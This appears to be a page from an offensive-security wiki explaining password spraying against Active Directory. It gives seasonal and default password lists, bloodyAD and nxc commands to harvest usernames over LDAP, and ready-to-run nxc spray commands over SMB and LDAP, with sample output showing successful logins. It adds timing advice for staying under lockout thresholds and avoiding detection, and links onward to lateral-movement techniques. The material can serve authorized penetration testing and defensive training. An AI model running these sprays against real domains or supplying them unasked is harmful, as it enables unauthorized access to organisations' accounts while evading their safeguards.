# Password Spraying

> Covers low-and-slow authentication attacks against AD accounts using common passwords to evade lockout policies and gain initial domain access.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-password-spraying
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

Password spraying tries one password against many accounts rather than many passwords against one account. This avoids lockout because each individual account only receives one failed attempt per spray round. The maximum safe number of attempts per round is always **lockout threshold minus one**. Never reach the threshold.

Common passwords to spray:

- Seasonal patterns: `Winter2024!`, `Spring2024!`, `Summer2024!`
- Company name variations: `CompanyName1!`, `Company2024!`
- Default patterns: `Password123!`, `Welcome1!`, `Changeme1!`

Read the domain password policy before starting. See [Password Policy and Spray Surface](https://hackindex.io/platforms/active-directory/vulnerability-discovery/ad-password-policy-and-spray-surface) for how to extract threshold and observation window values.

## Build a username list

Spray requires a username list. Pull it from LDAP enumeration using any authenticated account, or from earlier object enumeration output.

**Extract usernames from LDAP**

```bash
# BloodyAD: all enabled user accounts
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName | grep sAMAccountName | awk '{print $2}' > users.txt

# nxc: users module
nxc smb $TARGET_IP -u $USER -p $PASSWORD --users | awk '/\[\+\]/{print $5}' | cut -d\ -f1 > users.txt

# Verify count
wc -l users.txt
# 247 users.txt
```

## Spray over SMB

SMB spray is the most common starting point. Use `--continue-on-success` so nxc does not stop on the first hit. Watch for `STATUS_PASSWORD_MUST_CHANGE` alongside failures: that is a valid account with an expired password, still useful.

**SMB password spray**

```bash
# Single password against all users
nxc smb $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success

# Common seasonal patterns
nxc smb $TARGET_IP -u users.txt -p 'Winter2024!' --continue-on-success
nxc smb $TARGET_IP -u users.txt -p 'Spring2024!' --continue-on-success

# Local admin spray across subnet
nxc smb $TARGET_SUBNET -u Administrator -p $PASSWORD --local-auth --continue-on-success
# SMB  10.10.10.10  445  DC01  [-] corp.local\jdoe:Password123! STATUS_LOGON_FAILURE
# SMB  10.10.10.10  445  DC01  [+] corp.local\svc-backup:Password123!
```

## Spray over LDAP

LDAP spray produces less noise on some configurations than SMB and does not require SMB to be accessible. Use this as an alternative when SMB is filtered or when you want to avoid SMB-specific detections.

**LDAP password spray**

```bash
# LDAP spray
nxc ldap $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success

# LDAPS
nxc ldap $TARGET_IP -u users.txt -p 'Password123!' --continue-on-success --port 636
# LDAP  10.10.10.10  389  DC01  [-] corp.local\jdoe:Password123! INVALID_CREDENTIALS
# LDAP  10.10.10.10  389  DC01  [+] corp.local\svc-backup:Password123!
```

## Spray timing

When the lockout threshold is 5, spray a maximum of 4 passwords per observation window. Wait for the full observation window to expire between rounds so every account's counter resets before the next attempt.

Example: threshold 5, observation window 30 minutes. You can spray 4 passwords at once, then wait 30 minutes before the next round. If the threshold is 0, there is no lockout: spray freely.

## Interpret results

`STATUS_LOGON_FAILURE` is a wrong password. `STATUS_ACCOUNT_LOCKED_OUT` means you hit the threshold on that account: stop immediately and wait for the lockout duration to expire. `STATUS_PASSWORD_MUST_CHANGE` is a valid set of credentials where the password has expired: the account is usable after a password change. `STATUS_ACCOUNT_DISABLED` confirms the account exists but cannot authenticate.

After finding valid credentials, run [Object Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-object-enumeration) from the new account context before attempting further access. With confirmed credentials, lateral movement paths include [Pass-the-Hash](https://hackindex.io/services/smb/exploitation/pass-the-hash) over SMB, [Evil-WinRM](https://hackindex.io/services/winrm/exploitation/evil-winrm) for WinRM access, and [RDP Brute Force and Password Spray](https://hackindex.io/services/rdp/exploitation/brute-force-password-spray) if RDP is exposed.

## References

- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - SMB and LDAP spray with --continue-on-success flag reference
